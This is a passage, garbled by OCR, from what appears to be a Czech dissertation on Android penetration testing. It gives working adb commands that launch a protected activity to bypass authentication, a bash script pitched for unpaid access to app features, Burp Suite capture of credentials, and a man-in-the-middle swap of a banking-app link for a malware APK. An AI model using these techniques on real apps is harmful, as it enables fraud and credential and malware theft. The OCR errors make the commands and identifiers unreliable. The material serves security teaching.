jako v ptipadé utoku ¢. 2. Mezi utokem €. 2 a €. 4 je vyznamny rozdil, zatimco
utok ¢. 2 byl vykondn na neupraveném mobilnim zafizeni s normalni Urovni
opravnéni, utok €. 4 byl proveden na zafizeni se super uZivatelskymi opravnénimi.
Z demonstrace utoku ¢. 4 vyplyva dilezita skutecnost: ani super uzivatelska
urovenl opravnéni nezajisti uspéSneé provedeni Authentication Bypass, pokud je
parametr exported nastaven na hodnotu false.

Utok ¢&. 5: android:exported="true®, spousténi v shellu na fyzickém mobilnim
zatizeni/emulatoru s normalni trovni zabezpeceni:

Skupina Utoku 5 az 8 ke své ¢innosti vyuziva zabudovany ptikazovy interpret,
ktery se nachdzi ve fyzickém mobilnim zafizeni 1 v emulatoru. Do prostredi
piikazového interpretu se uto¢nik/penetracni tester dostane zadanim ptikazu:

adb shell

V piikazovém interpretu mobilniho zafizeni je mozné vykonat utok
zneuZivajici Application Managera (am). Spusténi aktivity ma nasledujici tvar:
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am start -n package/android:name. Parametr package i android:name?® se
nachazeni v souboru AnroidManifest.xml, proto je nutné provést dekompilaci
druhého typu a ziskat tak jeho lidsky ¢itelnou podobu:

java -jar apktool.jar d BestMaps11.apk

Parametr package se nachazi v elementu manifest a ma hodnotu:
package="cz.utb.fai.bestmaps11". Parametr android:name se nachéazi v elementu
activity, jeho hodnota je:

android:name="cz.utb.fai.bestmaps11.BestMapsActivity".

Nyni mé uto¢nik vSechny potifebné informace, aby mohl sestavit a spustit

ptikaz:
am start -n cz.utb.fai.bestmaps11/cz.utb.fai.oestmaps11.BestMapsActivity

Vyse uvedena varianta ptikazu se pouziva ziidka, ¢astéji je vyuzivana zkracena
varianta. Z hlediska funk¢nosti jsou ob¢ varianty identické. Zkracend varianta u
jména aktivity vynechava cCast, ktera je u obou parametrli stejnd. Jméno aktivity
je uvadeno relativné, za€ina teckou. Application Manager si potfebné informace
doplni z parametru package:

am start -n cz.utb.fai.bestmaps11/.BestMapsActivity

Utok &. 5 byl Gsp&sny, o éemz svéd&i vypis zachyceny pomoci programu logcat,
ktery dokumentuje spousténi ptikazu. Podrobnost logovani (log level) byla pro
Activity Managera nastavena na Uroven Info (ActivityManager:I), zatimco zbytek
informaci byl potlacen (*:S):

adb logcat -v time ActivityManager:| *:S

--------- beginning of main

--------- beginning of system

01-26 17:56:45.891 |/ActivityManager( 1329): START u0 {flg=0x10000000
cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from uid 2000 pid 14429 on display 0

01-26 17:56:45.928 |/ActivityManager( 1329): Start proc
14475:cz.utb.fai.oestmaps11/u0ab8 for activity cz.utb.fai.nestmaps11/.BestMapsActivity

01-26 17:56:46.497 |/ActivityManager( 1329): Displayed
cz.uth.fai.bestmaps11/.BestMapsActivity: +580ms

Utok €. 6: android:exported="false*, spousténi v shellu na fyzickém mobilnim
zatizeni/emulatoru s normalni Grovni zabezpeceni:

2 Jedna se o jméno chranéné aktivity, kterou chce utocnik spustit.
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Utok &. 6 byl proveden stejné jako utok &. 5, jen s tim rozdilem, Ze chranéna
aktivita méla v parametru exported hodnotu false. Z nize uvedeného vypisu je

rrrrr

zamitnuto:

adb logcat -v time ActivityManager:l *:S

--------- beginning of system

--------- beginning of main

01-26 17:54:47.375 |/ActivityManager( 1329): START u0 {flg=0x10000000
cmp=cz.utb.fai.nestmaps11/.BestMapsActivity} from uid 2000 pid 13939 on display 0

01-26 17:54:47.375 W/ActivityManager( 1329): Permission Denial: starting Intent {
flg=0x10000000 cmp=cz.utb.fai.bestmaps11/.BestMapsActivity } from null (pid=13939,
uid=2000) not exported from uid 10058

Utok ¢&. 7: android:exported="true®, spousténi v shellu na fyzickém mobilnim
zafizeni/emulatoru se super uzivatelskou urovni opravnéni (root):
Z vypisu, ktery zachytil prabéh utoku €. 7, je zteymé, ze byl Gspesny:

adb logcat -v time ActivityManager:| *:S

--------- beginning of /dev/log/main

--------- beginning of /dev/log/system

01-26 09:51:21.105 |I/ActivityManager( 1572): START u0 {flg=0x10000000
cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from pid 12488

01-26 09:51:21.205 |/ActivityManager( 1572): Displayed
cz.uth.fai.bestmaps11/.BestMapsActivity: +67ms

Utok &. 8: android:exported="false*, spousténi v shellu na fyzickém mobilnim
zafizeni/emulatoru se super uzivatelskou urovni opravnéni (root):
Utok ¢. 8 byl Gispésny, viz vypis jeho postupu:

adb logcat -v time ActivityManager:l *:S

--------- beginning of /dev/log/main

--------- beginning of /dev/log/system

01-26 09:53:22.255 |/ActivityManager( 1572): START u0 {flg=0x10000000
cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from pid 13941

01-26 09:53:22.305 I/ActivityManager( 1572): Start proc cz.utb.fai.bestmaps11 for
activity cz.utb.fai.boestmaps11/.BestMapsActivity: pid=13952 uid=10060 gids={50060}

01-26 09:53:22.495 |/ActivityManager( 1572): Displayed
cz.uth.fai.bestmaps11/.BestMapsActivity: +216ms

Vypis rovnéZz dokazuje silu tohoto utoku, nebot” byl uspéSny navzdory

skute¢nosti, Ze hodnota parametru exported byla false. Drozer za stejnych
podminek neuspél (jednalo se o utok €. 4). Uvedené skutecnosti by si méli byt
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védomi aplikaéni programatofi. Ve svych aplikacich by méli pocitat s tim, Ze
nastaveni parametru exported na hodnotu false nezajisti plné zabezpeceni
chranéné aktivity. Utok &. 8 je vhodny pro hackery, kteii planuji rozsahlejsi
napadeni, které bude pokracovat v chranéné aktivité¢ (kradeze dat aktivity,
odhaleni komunika¢niho protokolu mezi aktivitou a aplikaénim serverem apod.).
Pro uzivatele, ktefi chtéji pouze vyuzivat cennou funkcionalitu, je Gitok nevhodny.
Neplatici uzivatelé by pokazdé, kdyby chtéli danou aplikaci pouzit, museli
piipojit mobilni zatizeni k pocita¢i USB kabelem a ru¢né zadat posloupnost vyse
uvedenych ptikazli. Nebo by mohli misto ru¢niho vladani ptikazi vytvofit ito¢ny
skript, naptiklad:

#!/bin/bash
~/Android/Sdk/platform-tools/./adb shell am start -n
cz.utb.fai.bestmaps11/.BestMapsActivity

Utok &. 9: android:exported="true, spousténi pomoci jiné aplikace (typicky
malware, ktery hraje roli spoustéce) na fyzickém mobilnim zatizeni/emulatoru s
normalni irovni zabezpeceni:

Vypis naznacuje, Ze byl utok €. 9 uspésny:

adb logcat -v time ActivityManager:l *:S

--------- beginning of main

--------- beginning of system

01-26 17:32:18.705 |/ActivityManager( 1329): START uo
{act=android.intent.action.MAIN cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from uid
10059 pid 7098 on display 0

01-26 17:32:18.949 |/ActivityManager( 1329): Displayed
cz.uth.fai.bestmaps11/.BestMapsActivity: +233ms

Utok &. 10: android:exported="false®, spousténi pomoci jiné aplikace (typicky
malware, ktery hraje roli spoustéce) na fyzickém mobilnim zatizeni/emulatoru s
normalni irovni zabezpeceni:

Vypis zachycujici pribéh utoku byl pofizen aplikaci logcat, ktera mcla
nastavenou uroven logovani na zachytavani chybovych stavll (*:E). Z divodu
véEtsi prehlednosti byl vypis zkracen (byly zachovany jen jeho nejdiilezité;si ¢asti).
Z logu je vidét, Ze utok nebyl uspésny:

adb logcat *:E

01-26 17:11:40.725 20349 20349 E AndroidRuntime: FATAL EXCEPTION: main

01-26  17:11:40.725 20349 20349 E  AndroidRuntime:  Process:
cz.utb.fai.om11launcher, PID: 20349

01-26 17:11:40.725 20349 20349 E AndroidRuntime: java.lang.lllegalStateException:
Could not execute method for android:onClick
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01-26 17:11:40.725 20349 20349 E  AndroidRuntime: Caused by:
java.lang.SecurityException: Permission Denial: starting Intent {
act=android.intent.action.MAIN  cmp=cz.utb.fai.bestmaps11/.BestMapsActivity } from
ProcessRecord{52d87b7 20349:cz.utb.fai.om11launcher/u0ad9} (pid=20349, uid=10059)
not exported from uid 10058

Utok ¢. 11: android:exported="true*, spousténi pomoci jiné aplikace (typicky
malware, ktery hraje roli spoustéce) na fyzickém mobilnim zafizeni/emulatoru se
super uzivatelskou trovni opravnéni (root):

Z vypis utoku €.11 je patrné, Ze byl uspésny:

adb logcat -v time ActivityManager:| *:S

--------- beginning of /dev/log/main

--------- beginning of /dev/log/system

01-26 09:41:56.115 |/ActivityManager( 1572): START uo
{act=android.intent.action.MAIN cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from pid
4228

01-26 09:41:56.135 |/ActivityManager( 1572): Start proc cz.utb.fai.bestmaps11 for
activity cz.utb.fai.oestmaps11/.BestMapsActivity: pid=4249 uid=10060 gids={50060}

01-26 09:41:56.375 |/ActivityManager( 1572): Displayed
cz.utb.fai.bestmaps11/.BestMapsActivity: +246ms

Utok &. 12: android:exported="false®, spousténi pomoci jiné aplikace (typicky
malware, ktery hraje roli spoustéce) na fyzickém mobilnim zafizeni/emulatoru se
super uzivatelskou trovni opravnéni (root):

Utok &. 12 nebyl Gsp&sny, viz vypis:

adb logcat -v time

01-26 08:29:01.237 |/ActivityManager( 1566): START uo
{act=android.intent.action.MAIN cmp=cz.utb.fai.bestmaps11/.BestMapsActivity} from pid
6598

01-26 08:29:01.237 E/AndroidRuntime( 6598): FATAL EXCEPTION: main

01-26 08:29:01.237 E/AndroidRuntime( 6598): Process: cz.utb.fai.om11launcher, PID:
6598

01-26 08:29:01.237 E/AndroidRuntime( 6598): java.lang.lllegalStateException: Could
not execute method for android:onClick

01-26 08:29:01.237 E/AndroidRuntime( 6598): Caused by:
java.lang.SecurityException: Permission Denial: starting Intent {
act=android.intent.action.MAIN  cmp=cz.utb.fai.bestmaps11/.BestMapsActivity } from
ProcessRecord{b12ae7a8 6598:cz.utb.fai.om11launcher/u0a59} (pid=6598, uid=10059)
not exported from uid 10060
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Z vysledka utokt €. 10 a €. 12 plyne, Ze tviirci mobilniho malware, kteti planuji
vytvaret spoustéce, by je méli distribuovat spolu s upravenou legitimni aplikaci,
jejiz chranéna cast se bude spoustét. Uvedeny program by mél mit upraven
parametr exported na hodnotu true. Postup Gpravy parametru je popsan v oddile
4.6.2 APK repackage (Cast, kterd se zabyva Gitokem na parametr exported souboru
AndroidManifest.xml). Z diivodu vétSi prehlednosti je tento oddil zakoncen
tabulkou 4.1 obsahujici vysledky vSech dvanacti utokd.

Tabulka 4.1 Vysledky utokii [zdroj vlastni]

android:exported= | android:exported=

“true* “false
Prostiedek Gtoku: Drozer . .
, . s s uspéch neuspéch
Uroven opravnéni: Normalni
Prostiedek Gtoku: Drozer
Urovenn  opravnéni:  Super uspéch neuspéch
uzivatelska
Prostiedek ttoku: Shell . .
, . s s uspéch neuspéch
Uroven opravnéni: Normalni
Prostiedek ttoku: Shell
Urovenn  opravnéni:  Super uspéch uspéch
uzivatelska
Prostiedek utoku: Jina aplikace . .
, 9 . s uspéch neuspcch
Uroven opravnéni: Normalni
Prostiedek utoku: Jina aplikace
Urovenn  opravnéni:  Super uspéch neuspéch
uzivatelska

4.6.4 Utoky na sitové zabezpeceni mobilnich aplikaci

Moderni mobilni aplikace jsou €asto typu klient-server. Klicova ¢ast aplikacni
logiky se nenachazi v mobilnim programu, ale na aplika¢nim serveru. Aplikace
hraje roli prostfednika mezi uzivatelem a vzdalenym serverem. UZivatel
prostfednictvim uzivatelského rozhrani sdéli své pozadavky, které aplikace zasle
na server. PoZzadavky jsou zpracovany serverem, ktery zaSle aplikaci vysledky.
Aplikace zaslané vysledky zobrazi uZivateli. Komunikace mezi mobilnim
programem a vzdalenym serverem miuiZe probihat prostfednictvim:

e vlastniho aplika¢niho protokolu, ktery vytvari mobilni vyvojar ve
spolupraci se spravcem serveru,

e API, jez nabizi aplikacni server (APl mizZe byt vefejné, neveiejne,
neplacené 1 placené; API mize pro komunikaci vyZadovat identifikator,
predplatitele sluzby).

Moznosti, jak odposlouchavat komunikaci mezi mobilni aplikaci a vzdalenym

serverem, se dé€li do tii skupin. Prvni skupina pfedstavuje utoky v redlném cCase.
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Naptiklad vystaveni faleSného Access Pointu v mistech, kde se nachéazi vétsi
pocet lidi. Access Point ma SSID, které slibuje pfipojeni zdarma nebo ma nazev
stejny jako kavarna nachazejici se pobliz apod. DalSi mozZnosti je modifikace
sitového piipojeni mobilniho zatizeni prostfednictvim malware, které odesila
veSkerou komunikaci na proxy server Uto¢nika. Posledni, nejvice nebezpecnou
mozZnost, pfedstavuje analytickeé vySetfeni pomoci automatizovanych prostiedki.
Utoénik naistaluje mobilni aplikaci do upraveného mobilniho zafizeni/emulatoru
se super uzivatelskou Urovni opradvnéni. V mobilnim zatfizeni/emulatoru je
nastavena proxy sméfujici na nastroj automatizované analyzy, naptiklad na
program Burp Suite (béZi na testovacim pocitaci). Nasledné je sledovana a
analyzovana veSkerd nezabezpeCena komunikace mezi mobilni aplikaci a
serverem. Posledni zvySe uvedenych zplsobi byl vybran pro demonstraci
ukazek, a to nejen kviili nebezpecnosti, ale 1 z divodu nazornosti.

Odposlouchavani komunikace mezi mobilni aplikaci a serverem

Princip odposlouchavani nezabezpecené komunikace mezi mobilni aplikaci a
serverem je zachycen na obrdazku 4.89. PoZadavek smcéfujici z mobilniho
programu na aplikacni server je zachycen uto¢nym softwarem. V ukazkach se
jedna o program Burp Suite plnici roli posluchace 1 replikatoru. Zachyceny
poZadavek je zreplikovan a odeslan na legitimni server. Server na poZadavek
odpovi a posSle odpovéd’, kterou Burp Suite zpracuje stejnym zplsobem.
Z pohledu mobilni aplikace 1 vzdaleného serveru je vSe v potadku, nebot’
poZzadavky 1 odpovédi jsou plné autenticke.
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Obr. 4.89: Princip odposlouchdvani komunikace mezi mobilni aplikaci a serverem
[zdroj viastni]

Postup odposlouchavani komunikace probihajici mezi mobilni aplikaci a
serverem je ukazan na aplikaci Best Maps Interception, jejiz kod je inspirovan
skute¢nou mobilni aplikaci. Nejprve je nastaven proxy server v programu Burp
Suite a v mobilnim zatizeni/emulatoru se super uZivatelskou urovni opravnéni je
vytvofeno pfipojeni na uvedeny proxy server. V dalsim kroku je naistalovana
mobilni aplikace:
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adb install BestMapsInterception.apk

Jakmile je aplikace nainstalovana, je spusténa. Program je z testovacich divodil
vybaven textovymi poli pro zadani téla poZzadavku a IP adresy aplikacniho
serveru, viz obrazek 4.90. Textova pole jsou vyplnéna relevantnimi udaji a je
kliknuto na tlacitko ’SEND REQUEST”.

% Android Emulator - mm:5554

Gl 1:28

Best Maps Interception

N
0~|Lo )
PENETRATION
?]”Fg TESTING

LABORATORY
PT LAB

testingRequestBody001

172.16.220.130

SEND REQUEST

Obr. 4.90: Aplikace Best Maps Interception [zdroj viastni]

Pozadavek je zachycen v programu Burp Suite. Na obrazku 4.91 je moZzné vidét
dasledky nezabezpecené komunikace. VSechny dutlezité informace mohou byt
utocnikem odhaleny a zneuzity. Ze zachyceného poZadavku lze zjistit:

e serverip: I[P adresa aplika¢niho serveru, se kterym dana aplikace
spolupracuje,

e requestbody: télo pozadavku (mlZe obsahovat placend/zneuzitelna data),

e appid: login/uzivatelské jméno dané¢ aplikace,

e passwd: heslo aplikace slouZici k ptistupu na server (muze byt ptidélovano
na pozadi, uZivatel o ném nemusi véd¢t).

Zachyceni nezabezpecCenych pozadavki miize mit fatalni disledky. Naptiklad
poloZky serverip, appid a passwd mohou byt vyuZity pro utok na aplikaéni server
nebo pro neopravnéné poskytovani funkcionality serveru.
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Burp Suite Free Edition v1.7.27 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer I Extender I Project options I User options T Alerts ]

J ntercept THWP history TWebSockets history T Options ]

w Request to http://172.16.220.130:80

L Forward J L Drop J Intercept is on | Action Comment this item 28 U

Raw | Params | Headers | Hex
POST /interception_testing/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Content-Length: 119
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Android SDK built for x86 Build/KK)
Host: 172.16.220.130
Connection: close
Accept-Encoding: gzip, deflate

T

serverip=172.16.220.130&requestbody=testingRequestBody001&appid=0hb244e0fd7d5f0122d17
b190f3el0d5d&passwd=VIh6QGIjXxmp4Fi

e
v

EEEE | o mtches
Obr. 4.91: Zachyceni pozadavku mobilni aplikace v programu Burp Suite [zdroj
viastni]

V dalsim kroku je pozadavek zreplikovan a zaslan pfislusSnému aplika¢nimu
serveru. Zaslany pozadavek je zpracovan vzdalenym serverem a odesldn na proxy
programu Burp Suite. Na obrazku 4.92 je vidét MOCK DATA, ktera byla
kompromitovana. Pokud by se jednalo o cenna data, mohla by byt uto¢nikem
odcizena nebo zneuZita.

o Burp Suite Free Edition v1.7.27 - Temporary Project

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAlerts ]
J ntercept I HTTP history TWebSo(kets history T Options ]

Response from http://172.16.220.130:80/interception_testing/index.php

L Forward J { Drop J | Interceptis on | Action Comment this item £+ U

Raw | Headers | Hex
HTTP/1.1 200 OK %
Date: Sun, 27 Jan 2019 18:32:46 GMT
Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 653

Connection: close

Content-Type: text/html; charset=UTF-8

MOCK DATA:
0e9a58ef0c5d1448797665080aa5a93fdc82cc7b8dc64d84a377f5ed7efla55bb2a30c
f92a7cadbalaB8ald6068a97fa76f2cf6cda8cd6402d9685086 bbbf8d22cced50e51fce
d91fff1891897a67037dcee8b851f8e0a3b00bef6033e8fccc492c45d209f73ac9d985
43069082ddafaeld9350394f8d488elf75f24985f9750cle3cf5312fca8e5eed5hb8c21
cd926442fbf81cad60488de281dd9048c7ff99a844hbf47166555b778dbd574927455a
7d7dabcf257055dc128a0b10e78743ce4829028a639c50af52cef18b74d5b82ca4c80
e981f5551cl1fa6dd73a2795c8f75b7ee6551b3f7870951a20bb2735fa6776250da%b
3512e85a7a0d1bb8fde6b8fe69232b47f67822682ca81cfcdd5fle21bd0e74f68a507a
631bb3b26a63129fc3559f71751773a1290c9ed9c7ccbb43b60cd0fd593c5abea3a05 f

c6fa84b4ed47al7 v
EJ EJ @ @ Type a search term 0 matches
Obr. 4.92: Zachyceni odpovédi aplikacniho serveru v programu Burp Suite [zdroj
viastni]

Nakonec jsou data ptredstavujici odpovéd serveru odeslana z Burp Suite do
mobilni aplikace. Pfijeti dat probihd vétSinou na pozadi. Aby bylo moZné
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v testovaci aplikaci Best Maps Interception sledovat pfijeti replikovanych dat, byl
vytvoren notifikaéni mechanismus, ktery je zachycen na obrazku 4.93. Z obrazku
je tedy patrné, Ze aplikace odpovéd bezchybné obdrzela. Z pohledu mobilni
aplikace neni rozdil mezi daty, ktera byla obdrzena legitimni cestou a daty, ktera
byla ziskana z proxy programu Burp Suite.

Android Emulator - mm:5554

RESPONSE:

MOCK DATA:
0e9a58ef0c5d1448797665080aa5a93fdc8
2cc7b8dc64d84a377f5ed7ef1a55bb2a30cf
92a7cadbala8ald6068a97fa76f2cf6cda8ed
6402d9685086bbbf8d22cced50e51fcedd1f
ff1891897a67037dcee8h851f8e0a3b00bef
6033e8fccc492¢45d209f73ac9d98543069
082ddafae1d93503948d488e1f75f24985f
9750c1e3cf5312fca8e5eed5b8c21cd92644
2fbf81cad60488de281dd9048c7ff99a844bf
47166555b778dbd574927455a7d7dabef25
7055dc128a0b10e78743ce4829028a639¢
50af52cef18b74d5b82ca4c80e981f5551c1
1fa6dd73a2795¢c8f75b7ee6551b3f7870951
a20bb2735fa6776250da9h3512e85a7a0d1
bb8fde6h8fe69232b47f67822682ca81cfcd
d5f1e21bd0e74f68a507a631bb3b26a6312
9fc3559f71751773a1290c9ed9c7ccbba3b
60cd0fd593c5abea3a05c6fa84bded 7a17

Obr. 4.93: Prijeti zreplikované odpovédi v mobilni aplikaci [zdroj viastni]

Z demonstrace utoku je zfejmé, Zze mohou byt napachany znacné skody, 1 kdyz
je komunikace mezi mobilni aplikaci a vzdalenym serverem pouze pasivné
sledovana (utocnik do komunikace aktivné nezasahuje).

Modifikace sit ového provozu — podvodné stahovani

Krom¢ pasivniho odposlouchavani sitového provozu, které bylo
demonstrovano v oddile Odposlouchdvani komunikace mezi mobilni aplikaci a
serverem lze do sitové komunikace aktivné zasahovat a ménit jeji obsah.
V nasledujici ukazce je popsan utok, ktery modifikuje odpovédi webového
serveru, coZ ma za ndsledek stazeni infikovaného APK misto jeho legitimniho
verze. Teoreticky 1ze uvedeny typ tUtoku provest pomoci Ctyi kroka. Nejprve je
z mobilni aplikace odeslan poZadavek na server, na webovou stranku obsahujici
odkaz na stazeni legitimniho APK bali¢ku (viz bod 1. na obrazku 4.94). Server
poZadavek zpracuje a posle mobilni aplikaci odpovéd’ obsahujici HTML kod
s ptislusSnym odkazem. Odpovéd’ vSak neni doru€ena aplikaci, misto toho je
zachycena Utoénym softwarem, v némz je odkaz na legitimni APK balicek
nahrazen odkazem na infikovany APK balicek. Takto upravena odpovéd je
uto¢nym programem zaslana mobilni aplikaci. Situace je zachycena na obrazku
4.94, bod 2. Modifikovana odpovéd’ predstavujici webovou stranku je zobrazena
v mobilni aplikaci. Jakmile se uzivatel/program rozhodne vyuZzit pozménény
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odkaz, je poslan poZadavek na server, na némz se nachazi infikovany APK bali¢ek
(viz obrazek 4.94, bod 3.). Podvodny server poZadavek zpracuje a posle ke staZzeni
infikovany APK balicek, coZ je na obrazku 4.94 reprezentovano bodem 4.

1. Odeslani legitimniho pozadavku mobilni aplikaci
2. Modifikace poZzadavku v Burp Suite E—
3. Odeslani nelegitimniho poZadavku ke stazeni _—

BankinkApp.apk (malware) _—
4. Stazeni Malware.apk mobilnim zafizenim

2. WWW server

Modifikace odpovédi v
Burp Suite — vloZeni kddu
pro stazeni infikované APK

verze z Malicious server

— 3 -
Mobilni zafizeni

4.

Malicious server

Obr. 4.94: Schéma modifikace sitového provozu, realizace podvodného stahovani
[zdroj viastni]

V praktické roving je kazdy krok utoku realizovan fadou dil¢ich ukont, které
jsou popsany nasledujici ¢asti textu. Utok zadina tim, Ze si uZivatel ve svém
mobilnim zatizeni otevie webovy prohlize¢ a zad4 naptiklad adresu banky. V
ukézce je adresa reprezentovana IP adresou 172.16.220.130. Utoénik v Burp Suite
ziska pozadavek, ktery zaslal webovy prohliZe€ na server 172.16.220.130:

GET /HTTP/.1

Host: 172.16.220.130

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; Android SDK built for x86 Build/KK)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile
Safari/537.36

Accept-Encoding: gzip, deflate

Accept-Language: en-US

X-Requested-With: com.android.browser

Connection: close

Pozadavek neni nijak modifikovan, pouze je ptreposlan legitimnimu serveru.
Server zaSle mobilni aplikaci odpovéd, kterd je zachycena programem Burp
Suite. Odpovéd’ za¢ind fadkem: HTTP/1.1 200 OK, coZ znamena, Ze pozadavek
byl korektni a server jej bezchybné zpracoval. Soucasti odpovédi je 1 poZadovana
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webova stranka (jeji HTML kod). Kromé stavového http kodu a kodu webové
stranky server poslal i1 dalsi informace, které by mohly byt pro Gito¢nika zajimavé.
Naptiklad informaci o typu a verzi webového serveru: ,,Server: Apache/2.4.18
(Ubuntu)*“.

Utoénik odpovéd’ neupravuje, pouze ji posle mobilnimu webovému prohliZeéi,
ktery zaslanou stranku zobrazi. UzZivatel klikne na odkaz sméfujici na stranku,
ktera nabizi stazeni APK balicku slouZiciho k zabezpeCeni mobilniho
internetového bankovnictvi. Webovy prohlize¢ posSle pozadavek, ktery je
zachycen v Burp Suite:

GET /banking_app/index.html HTTP/1.1

Host: 172.16.220.130

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; Android SDK built for x86 Build/KK)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile
Safari/537.36

Referer: http://172.16.220.130/

Accept-Encoding: gzip, deflate

Accept-Language: en-US

X-Requested-With: com.android.browser

Connection: close

Pozadavek neni modifikovan, pouze je pfeposlan webovému serveru, ktery
zasle odpovéd’. Odpovéd’ je zachycena, jeji soucasti je 1 HTML kod. Uto¢nik
zméni nasledujici ¢ast kodu:

You can download your Banking APP <a href="BankingAPP.apk" style="font-weight:
bold;color: #00FFFF;">HERE</a>

Na kod uvedeny nize:

You can download your Banking APP <a href="../malware/BankingAPP.apk"
style="font-weight: bold;color: #00FFFF;">HERE</a>

Modifikaci HTML kodu uto€nik zméni odkaz z "BankingAPP.apk", jenz
predstavuje legitimni APK bali¢ek (ten dand banka nabizi svym klientim) na
"../malware/BankingAPP.apk", APK balicek obsahujici Skodlivy kod. Odkaz
mulZe sméfovat na externi server patfici itocnikovi nebo na bezthonny server,
ktery byl utocnikem uspéSné napaden. Piestoze oba odkazy obsahuji balicky,
které se jmenuji BankingAPP.apk, jde o naprosto rozdilné mobilni aplikace.
Upravena odpovéd’ obsahujici webovou stranku je zaslana mobilnimu prohliZeci.
Jakmile uzivatel klikne na odkaz na stazeni APK balicku je poslan poZadavek na
stazeni podvrzeného APK balicku obsahujiciho Skodlivy kod:

169



GET /malware/BankingAPP.apk HTTP/1.1

Host: 172.16.220.130

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; Android SDK built for x86 Build/KK)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile
Safari/537.36

Referer: http://172.16.220.130/banking_app/index.html

Accept-Encoding: gzip, deflate

Accept-Language: en-US

X-Requested-With: com.android.browser

Connection: close

Pozadavek neni modifikovan, pouze je pieposlan externimu webovému
serveru, ktery posle jako odpovéd Skodlivy APK bali¢ek. Na obrazku 4.95 je
vidét, Ze je okamzité zahajen proces stahovani.

# Android Emulator - mm:5554

8 3 7 SUN, JANUARY 27

<Untitled>

4

172.16.220.130

Obr. 4.95: Okamzitd inicializace stahovani podvrzeného APK do mobilniho zarizeni
[zdroj viastni]

Stahovani podvrzené BankingAPP.apk z externiho serveru bylo uspé$né
dokonceno. Situace je zachycena na obrazku 4.96.
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# Android Emulator - mm:5554

8 . 37 SUN, JANUARY 27

1 BankingAPP.apk

Download complete

Obr. 4.96: Uspésné dokonceni stahovéini podvrzeného APK balicku [zdroj viastni]

Modifikace sitového provozu mezi mobilni aplikaci a vzdalenym serverem je
velmi nebezpecny jev, pomoci néhoz mohou utoc¢nici realizovat celou fadu
Skodlivych cinnosti, které se netykaji jen podvodného stahovani. Jednou z
moznosti je napiiklad ovladani chovani mobilni aplikace. Timto zplsobem
mohou byt prekoniany bezpeCnostni mechanismy dané aplikace. Podrobné je
uvedend problematika vysvétlena v nasledujicim oddilu.

Reverzovani aplikaéniho protokolu

Oddil Reverzovani aplika¢niho protokolu se zabyva velmi nebezpecnym
fenoménem, ktery pfedstavuje analyticky utok. Hacker mé k dispozici mobilni
aplikaci a provozuje ji na upraveném mobilnim zafizeni se super uzivatelskou
urovni opravnéni. Béhem analytického Utoku je detailné zkoumana komunikace
mezi mobilni aplikaci a serverem. Neni-li komunikace zabezpecena, je ¢asto jen
otazkou casu, kdy uto¢nik odhali komunika¢ni vzorce a najde zplsob, jak je
upravit/podvrhnout k prosazeni svych cili.

Reverzovani aplika¢niho protokolu je vysvétleno na aplikaci BestMaps7-
PTLab.apk, kterou autor dizertacni prace vytvofil na zakladé¢ zkoumani reilne
komerc¢ni aplikace. Nejprve je nastaven proxy server v programu Burp Suite a
v mobilnim zafizeni/emulatoru se super uZivatelskou Urovni opravnéni je
nastaveno pfipojeni na uvedeny proxy server. V dalS§im kroku je naistalovana
mobilni aplikace:

adb install BestMaps7-PTLab.apk
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Po dokonceni instalacniho procesu je aplikace spusténa. Do textovych poli
urcenych pro uzivatelské jméno a heslo jsou zadany libovolné posloupnosti znakl
(Gto¢nik/penetracni tester v tuto chvili nezné spravné heslo). Nasledné je kliknuto
na tla¢itko LOGIN, které zphsobi odesldni pozZadavku na aplika¢ni server.
Uvedeny pozadavek je zachycen programem Burp Suite:

POST /check_credentials/index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

charset: utf-8

Content-Length: 39

User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.4.2; Android SDK built for x86 Build/KK)
Host: 172.16.220.130

Connection: close

Accept-Encoding: gzip, deflate

userid=user-pentest&passwd=pass-pentest

V odchyceném poZzadavku jsou vidét ptihlasovaci tdaje, které¢ byly ndhodné
zvoleny a zadany do textovych poli strazni aktivity. Pozadavek je preposlan na
server, ktery vrati odpovéd’ a ta je zachycena aplikaci Burp Suite:

HTTP/1.1 200 OK

Date: Mon, 28 Jan 2019 18:19:23 GMT
Server: Apache/2.4.18 (Ubuntu)
X-Powered-By: PHP/7.0.32-0ubuntu0.16.04.1
Content-Length: 3

Connection: close

Content-Type: text/html; charset=UTF-8

401

Zachycena odpoved’ obsahuje nékolik informaci, které mohou byt pro Gto¢nika
uziteCné. Z hlavicky X-Powered-By: PHP/7.0.32-Oubuntu0.16.04.1 se lze
dovédét, ze oveérovani mobilni aplikace je obsluhovano PHP serverem. Hlavicka
Content-Type: text/html nese informaci o povaze prenaSen¢ho obsahu. Data
budou ve formé textl nebo HTML kodu, budou lidsky Citelnd. Textovy kod 401,
tvofi télo zachycené odpovédi, nebot’ hlavicka Content-Length ma hodnotu 3 (t€lo
odpovédi je tvofeno tfemi znaky). Odpovéd’ je poslana z Burp Suite do mobilni
aplikace, ktera na zaslany kod reaguje zpravou “Unauthenticated User”. Ze
ziskanych informaci lze odvodit vyznam kodu 401. Uvedeny kod znamend, ze
